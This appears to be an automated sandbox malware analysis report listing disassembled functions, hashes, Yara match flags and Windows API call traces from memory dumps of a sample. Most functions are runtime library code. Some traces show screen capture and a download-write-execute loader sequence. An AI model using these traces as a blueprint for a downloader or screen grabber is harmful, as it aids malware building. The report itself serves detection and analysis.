Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 833578221895711969fd992aca003b8dff0ac6b0b4e24d9bd8e499997b964946
Instruction ID: 2844b30024e45351147ede59872166b67bb7d3639a7d84f230d679a3a0c0a750
Opcode Fuzzy Hash: 833578221895711969fd992aca003b8dff0ac6b0b4e24d9bd8e499997b964946
Instruction Fuzzy Hash: 32325761D69F014DE733A634C822336A258AFBB3D4F15E737E85AB5EA5EB2CC4834105

Function 004071AB Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dcf4a0559928c98f2b5d77cb0860f560abd3a2571bac000fbe95f0a84bb6040
Instruction ID: d13affd36985adaba9549dda1076aa7943650852f65e7c6b0ce314185b1835a0
Opcode Fuzzy Hash: 2dcf4a0559928c98f2b5d77cb0860f560abd3a2571bac000fbe95f0a84bb6040
Instruction Fuzzy Hash: 88E18470A08612EFD714CF24C590AAAB7F1FF44304B54457EE846ABB81D738F862DB96

Function 006976EB Relevance: .4, Instructions: 356COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b270ae943b8fc30b0109646306f9a638257ad0854cfcd7f7143e4a79d383dfca
Instruction ID: 286aaabdbacadf30089fd4517b195501762b1bc40cc5287580809c5e42dd52fd
Opcode Fuzzy Hash: b270ae943b8fc30b0109646306f9a638257ad0854cfcd7f7143e4a79d383dfca
Instruction Fuzzy Hash: 01D1093211C1A24ECF6D4A39857007ABFE7AA423A131E439DD4F7CFAC2ED20D955E660

Function 00697FCE Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: b59af5a2dbf7d5ab9a84aeef6f49858a1793e1ee212270ec7c2193fda91fd2bb
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: 189145721090A34EDF69463E847407EFFE75A533A131A079ED4F2CBAC5EE24C659E620

Function 00427D67 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: b25d7b7a8e55bbee32d2fc67e28ff16be1cfeba2f71328b5531bdb6c5bdb1bbb
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: 6491647230D0B34ADB294679953443FFFE15E523A135A07DFE4F2CA2C1EE289964D624

Function 00698289 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: e2d59397b995c0daeb3f7540bd9784cf304ce1145ab74423951413f0d5b7c7c6
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: 9D9173721080A34EDF69467A853407EFFEB5A937A131A079DD4F2CBAC1EE24C555E620

Function 00428022 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: 19c93412fb5f9130a8e3bb0cb99d698500333008097130ff6794007c36a41420
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: 6591943230A0B34EEB294279943403FFFE15A523A135A07DFD4F2CA2C5EE189565E628

Function 00697D07 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 929394c9dc2e2c53769a33798cf594b3a882ffe9dc42d3929e4131fbb750de95
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: C991747221D0A34EDF29463D853407DFFE79E523A131A079DE4F2CB6C5EE14D954A620

Function 00427AA0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: d2c87871af4d92e544e05363471dd483cf2102058027b34f35735ca62f395a82
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 0691937230D0B34ADB2D467AA47403EFFE15A523B139A079FD4F2CB2C1ED18D6659628

Function 0069D755 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f064d261a6db162a18988518e6412387d7217a2fbe5ef33d199751ee8f38446f
Instruction ID: c0c08258bf6a02ba74bfc5d4a8ba89c74aa881be8c7304b35171daa004a38892
Opcode Fuzzy Hash: f064d261a6db162a18988518e6412387d7217a2fbe5ef33d199751ee8f38446f
Instruction Fuzzy Hash: 0561873160070866DF386AAC8A81BFE639FAF51740F14083EE982DFFC2D615DD428359

Function 0042D4EE Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bd5393d4189e9aa91ad74f9bcbb8c764c0ecaf8bff73b58941f35d4311e138b
Instruction ID: 543360d7dfb9058b4a8e0476cf2bcab449255d23345d35b398e8df16a867321f
Opcode Fuzzy Hash: 4bd5393d4189e9aa91ad74f9bcbb8c764c0ecaf8bff73b58941f35d4311e138b
Instruction Fuzzy Hash: 856154B1F0073876DA385A2CB892BBF63849F41748FE4041BE447DB381D69DDD82865E

Function 00697A5D Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: a6fcdcd8a3e3d0a1923b9d52f587e4fd50c98404851f7544b28518238961e295
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: F581727221C0A38DDF29463E847407EFFE65B513A131A079ED4F2CBAC5FE149A55A620

Function 004277F6 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 3d3f4059477c25f3e34474a921d34c240437fa272c48f742cc2d27251d9ebad1
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: E481737230D0B34AEB294679943843FFFE15A523A135A079FD4F2CA2C1EE188A64D624

Function 006987C7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: ce41f367638725d7af067b03ae02161e97e82c601d7c0a088af28a7544bb6f89
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 14110B772011414F9E148A2ED6B41FAE38FEAC73207BC42B9D0428BF58DB22D9459620

Function 00428560 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: e183cc42c0575e46eff71331dfd644b760227977963c57612164f9205c38e507
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 631138773030B1A3D604862DF8B46BFA395EBE63217EC426FC0424B748CE6AE9C1950C

Function 00709ABB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859571400.0000000000709000.00000040.00000020.00020000.00000000.sdmp, Offset: 00709000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_709000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: b59c89d30bbef9804350e0f67d4061db85562a3938865334c6c26ebd270d43c4
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 961170B2340100EFDB54DE95DC81FA673EAEB89330B298155EE04CB356D679EC01C760

Function 00670D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: c786500c6791d308da2d2c8cec2a85b4617d181cce1db9ee7d364f0687b672fc
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 8A018476610604CFEB21CF64C904BEA33A6EF85315F5584A5D50A97241E774A9418BA0

Function 004020FA Relevance: 49.2, APIs: 27, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000014,?,?), ref: 00402135
GetClientRect.USER32(?,?), ref: 0040214A
GetDC.USER32(?), ref: 00402151
CreateSolidBrush.GDI32(00646464), ref: 00402164
SelectObject.GDI32(00000000,00000000), ref: 00402178
CreatePen.GDI32(00000001,00000001,00FFFFFF), ref: 00402183
SelectObject.GDI32(00000000,00000000), ref: 00402191
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 004021A4
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004021AF
MulDiv.KERNEL32(00000008,00000000), ref: 004021B8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000031,Tahoma), ref: 004021DC
SelectObject.GDI32(00000000,00000000), ref: 004021EA
SetBkMode.GDI32(?,00000001), ref: 00402267
SetTextColor.GDI32(?,00000000), ref: 00402276
_wcslen.LIBCMT ref: 0040227F

Strings

Tahoma, xrefs: 004021BE

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: CreateObjectSelect$BrushCapsClientColorDeviceFontModeProcRectRectangleSolidTextWindow_wcslen
String ID: Tahoma
API String ID: 3832963559-3580928618
Opcode ID: 06f3b736a1676dd81313cb3cb312b67037eb7e675966450ccfe924ee66f5f664
Instruction ID: 7336700d8ad07cb9e45a564d019af9580db2992b46b3f32d80e0fb6f80206702
Opcode Fuzzy Hash: 06f3b736a1676dd81313cb3cb312b67037eb7e675966450ccfe924ee66f5f664
Instruction Fuzzy Hash: F3710D72900228AFDB22DF64DD85FAEBBBCEF09751F0041A5B609E6155DA74AF80CF14

Function 00402571 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 186windowkeyboardfileCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 004025CD
DefWindowProcW.USER32(?,00000204,?,?), ref: 004025DF
ReleaseCapture.USER32 ref: 004025F2
GetDC.USER32(00000000), ref: 00402619
CreateCompatibleBitmap.GDI32(?,-0045D5E7,00000001), ref: 004026A0
CreateCompatibleDC.GDI32(?), ref: 004026A9
SelectObject.GDI32(00000000,00000000), ref: 004026B3
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00CC0020), ref: 004026E1
ShowWindow.USER32(?,00000000), ref: 004026EA
GetTempPathW.KERNEL32(00000104,?), ref: 004026FC
GetTempFileNameW.KERNEL32(?,gya,00000000,?), ref: 00402717
DeleteFileW.KERNEL32(?), ref: 00402731
DeleteDC.GDI32(00000000), ref: 00402738
DeleteObject.GDI32(00000000), ref: 0040273F
ReleaseDC.USER32(00000000,?), ref: 0040274D
DestroyWindow.USER32(?), ref: 00402754
SetCapture.USER32(?), ref: 004027A1
GetDC.USER32(00000000), ref: 004027D5
ReleaseDC.USER32(00000000,00000000), ref: 004027EB
GetKeyState.USER32(0000001B), ref: 004027F8
DestroyWindow.USER32(?), ref: 0040280D

Strings

gya, xrefs: 0040270B

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Window$DeleteDestroyRelease$CaptureCompatibleCreateFileObjectTemp$BitmapNamePathProcSelectShowState
String ID: gya
API String ID: 2545303185-1989253062
Opcode ID: 3cc899ee20bb76856f28d22ad06e46436276cc9c649a89ba50e82cf41c873628
Instruction ID: a73b2935a0a3d6b8847c17f141a4fcfbdcbb362899817371daa4de44eaa4c7d1
Opcode Fuzzy Hash: 3cc899ee20bb76856f28d22ad06e46436276cc9c649a89ba50e82cf41c873628
Instruction Fuzzy Hash: 1761A4B5900219AFCB249F64DD48BAA7BB9FF49706F004179F605A62A2D7B4C941CF1C

Function 0069E919 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0069E989
_free.LIBCMT ref: 0069E99F
_free.LIBCMT ref: 0069E9B0
_free.LIBCMT ref: 0069E9C1
_free.LIBCMT ref: 0069E9D8
GetCPInfo.KERNEL32(?,?), ref: 0069EA20

Part of subcall function 006A6952: _free.LIBCMT ref: 006A69BD

_free.LIBCMT ref: 0069EBCC
_free.LIBCMT ref: 0069EBDF
_free.LIBCMT ref: 0069EBED
_free.LIBCMT ref: 0069EBF8
_free.LIBCMT ref: 0069EC3A
_free.LIBCMT ref: 0069EC42
_free.LIBCMT ref: 0069EC4A
_free.LIBCMT ref: 0069EC52
_free.LIBCMT ref: 0069EC60

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 17cc7d2981949aec261f5402442bc47708264f4dc272fa138ea10e652b727814
Instruction ID: 9da522c4f719e3264171d03dfaf7414de309eeeefb9fe3fda4abcb4af5fd5763
Opcode Fuzzy Hash: 17cc7d2981949aec261f5402442bc47708264f4dc272fa138ea10e652b727814
Instruction Fuzzy Hash: 29B18C71900209AFDF60DF68C881BEEBBFABF09300F14456DF499A7752DB7699418B24

Function 0042E6B2 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0042E722
_free.LIBCMT ref: 0042E738
_free.LIBCMT ref: 0042E749
_free.LIBCMT ref: 0042E75A
_free.LIBCMT ref: 0042E771
GetCPInfo.KERNEL32(?,?), ref: 0042E7B9

Part of subcall function 004366EB: _free.LIBCMT ref: 00436756

_free.LIBCMT ref: 0042E965
_free.LIBCMT ref: 0042E978
_free.LIBCMT ref: 0042E986
_free.LIBCMT ref: 0042E991
_free.LIBCMT ref: 0042E9D3
_free.LIBCMT ref: 0042E9DB
_free.LIBCMT ref: 0042E9E3
_free.LIBCMT ref: 0042E9EB
_free.LIBCMT ref: 0042E9F9

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: fcc1ee792fcce2b96d93b5348cd25e2762bf37b8f9e02b10d348c09b50046bbd
Instruction ID: 2b0db881b533507aa5a5d3a35fa702b665ff2bbaed3809dcc6a19b45feaeb0d0
Opcode Fuzzy Hash: fcc1ee792fcce2b96d93b5348cd25e2762bf37b8f9e02b10d348c09b50046bbd
Instruction Fuzzy Hash: C1B1DFB1A002159FEB11DF6AD881BEEBBF5FF08304F54446FE485A7342D779A9418B24

Function 006AA85F Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006AA8A3

Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9C0F
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9C21
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9C33
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9C45
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9C57
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9C69
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9C7B
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9C8D
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9C9F
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9CB1
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9CC3
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9CD5
Part of subcall function 006A9BF2: _free.LIBCMT ref: 006A9CE7

_free.LIBCMT ref: 006AA898

Part of subcall function 006A36D1: HeapFree.KERNEL32(00000000,00000000,?,006AA35F,?,00000000,?,00000000,?,006AA603,?,00000007,?,?,006AA9F7,?), ref: 006A36E7
Part of subcall function 006A36D1: GetLastError.KERNEL32(?,?,006AA35F,?,00000000,?,00000000,?,006AA603,?,00000007,?,?,006AA9F7,?,?), ref: 006A36F9

_free.LIBCMT ref: 006AA8BA
_free.LIBCMT ref: 006AA8CF
_free.LIBCMT ref: 006AA8DA
_free.LIBCMT ref: 006AA8FC
_free.LIBCMT ref: 006AA90F
_free.LIBCMT ref: 006AA91D
_free.LIBCMT ref: 006AA928
_free.LIBCMT ref: 006AA960
_free.LIBCMT ref: 006AA967
_free.LIBCMT ref: 006AA984
_free.LIBCMT ref: 006AA99C

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 06440b44c22d454fcfdb7eecae663acef5c85cbb4bcd3e1a14e5022e47855d68
Instruction ID: 5fca3030a530f6f9f525fc44f7ca7fd8feb19c5beaa7d422185d0107d24d0b6c
Opcode Fuzzy Hash: 06440b44c22d454fcfdb7eecae663acef5c85cbb4bcd3e1a14e5022e47855d68
Instruction Fuzzy Hash: E3315E31600601AFDBA1BBB8D845B96B3EAAF02390F21441EF449D7751DB75ED50CE29

Function 0043A5F8 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0043A63C

Part of subcall function 0043998B: _free.LIBCMT ref: 004399A8
Part of subcall function 0043998B: _free.LIBCMT ref: 004399BA
Part of subcall function 0043998B: _free.LIBCMT ref: 004399CC
Part of subcall function 0043998B: _free.LIBCMT ref: 004399DE
Part of subcall function 0043998B: _free.LIBCMT ref: 004399F0
Part of subcall function 0043998B: _free.LIBCMT ref: 00439A02
Part of subcall function 0043998B: _free.LIBCMT ref: 00439A14
Part of subcall function 0043998B: _free.LIBCMT ref: 00439A26
Part of subcall function 0043998B: _free.LIBCMT ref: 00439A38
Part of subcall function 0043998B: _free.LIBCMT ref: 00439A4A
Part of subcall function 0043998B: _free.LIBCMT ref: 00439A5C
Part of subcall function 0043998B: _free.LIBCMT ref: 00439A6E
Part of subcall function 0043998B: _free.LIBCMT ref: 00439A80

_free.LIBCMT ref: 0043A631

Part of subcall function 0043346A: HeapFree.KERNEL32(00000000,00000000,?,0043A0F8,?,00000000,?,00000000,?,0043A39C,?,00000007,?,?,0043A790,?), ref: 00433480
Part of subcall function 0043346A: GetLastError.KERNEL32(?,?,0043A0F8,?,00000000,?,00000000,?,0043A39C,?,00000007,?,?,0043A790,?,?), ref: 00433492

_free.LIBCMT ref: 0043A653
_free.LIBCMT ref: 0043A668
_free.LIBCMT ref: 0043A673
_free.LIBCMT ref: 0043A695
_free.LIBCMT ref: 0043A6A8
_free.LIBCMT ref: 0043A6B6
_free.LIBCMT ref: 0043A6C1
_free.LIBCMT ref: 0043A6F9
_free.LIBCMT ref: 0043A700
_free.LIBCMT ref: 0043A71D
_free.LIBCMT ref: 0043A735

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 06440b44c22d454fcfdb7eecae663acef5c85cbb4bcd3e1a14e5022e47855d68
Instruction ID: f5f6d892b7e162680270ba0694072865b062da135816e678cf6525fe08cd79ed
Opcode Fuzzy Hash: 06440b44c22d454fcfdb7eecae663acef5c85cbb4bcd3e1a14e5022e47855d68
Instruction Fuzzy Hash: E6318B716006009FEB21AF3AD846B5773E8FF18315F18A41FE499C6251DB39ED608B1A

Function 00439A89 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00439AD1
_free.LIBCMT ref: 00439AF5
_free.LIBCMT ref: 00439B02
_free.LIBCMT ref: 00439B27
_free.LIBCMT ref: 00439B34
_free.LIBCMT ref: 00439B3D
_free.LIBCMT ref: 00439E1B
_free.LIBCMT ref: 00439E23

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4cb414690be6fda0ca229090f7b6620efc7f825f0c5babe970a6a28c94bdcbad
Instruction ID: 5833a6d57b494697f4826b29985624930ca7ec9e215e7e0b09aa607084295bdd
Opcode Fuzzy Hash: 4cb414690be6fda0ca229090f7b6620efc7f825f0c5babe970a6a28c94bdcbad
Instruction Fuzzy Hash: 2CC15372E40205BBEB20DBA8CD43FEF77B8AB58704F15515AFA04FB282D6B49D418B54

Function 00672C5B Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 134filenetworksynchronizationCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00451E78,00000000,00000000,00000000,00000000), ref: 00672C7E
InternetOpenUrlW.WININET(00000000,0045D820,00000000,00000000,00000000,00000000), ref: 00672C94
GetTempPathW.KERNEL32(00000105,?), ref: 00672CB0
GetTempFileNameW.KERNEL32(?,00000000,00000000,?), ref: 00672CC6
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00672CFF
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 00672D3B
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00672D58
ShellExecuteExW.SHELL32(?), ref: 00672DCF
WaitForSingleObject.KERNEL32(?,00008000), ref: 00672DE4

Strings

<, xrefs: 00672DAC

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: File$Internet$OpenTemp$CreateExecuteNameObjectPathReadShellSingleWaitWrite
String ID: <
API String ID: 838076374-4251816714
Opcode ID: 6a1df9d8d931caabd250c55c7ad4b4351e218200b760aecaacf5835990ef0e97
Instruction ID: ddb96bd66902eecb00750f4674f01e8c26d521117f033da342ac9ae073f371b2
Opcode Fuzzy Hash: 6a1df9d8d931caabd250c55c7ad4b4351e218200b760aecaacf5835990ef0e97
Instruction Fuzzy Hash: 4E412D7190021DAFEB209F649C85FEAB7BDFF09745F0081E9A549A2150DE709E858FA4

Function 0068EEC2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(advapi32.dll,00000000,00000800,0045A064,00000000,?,?,00000000,00441C13,000000FF,?,0068F228,00000004,00687D87,00000004,00688069), ref: 0068EEF9
GetLastError.KERNEL32(?,0068F228,00000004,00687D87,00000004,00688069,?,00688799,?,00000008,0068800D,00000000,?,?,00000000,?), ref: 0068EF05
LoadLibraryW.KERNEL32(advapi32.dll,?,0068F228,00000004,00687D87,00000004,00688069,?,00688799,?,00000008,0068800D,00000000,?,?,00000000), ref: 0068EF15
GetProcAddress.KERNEL32(00000000,00447430), ref: 0068EF2B
GetProcAddress.KERNEL32(00000000,00000000), ref: 0068EF41
GetProcAddress.KERNEL32(00000000,00000000), ref: 0068EF58
GetProcAddress.KERNEL32(00000000,00000000), ref: 0068EF6F
GetProcAddress.KERNEL32(00000000,00000000), ref: 0068EF86
GetProcAddress.KERNEL32(00000000,00000000), ref: 0068EF9D

Strings

advapi32.dll, xrefs: 0068EEF3, 0068EEF8, 0068EF14

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

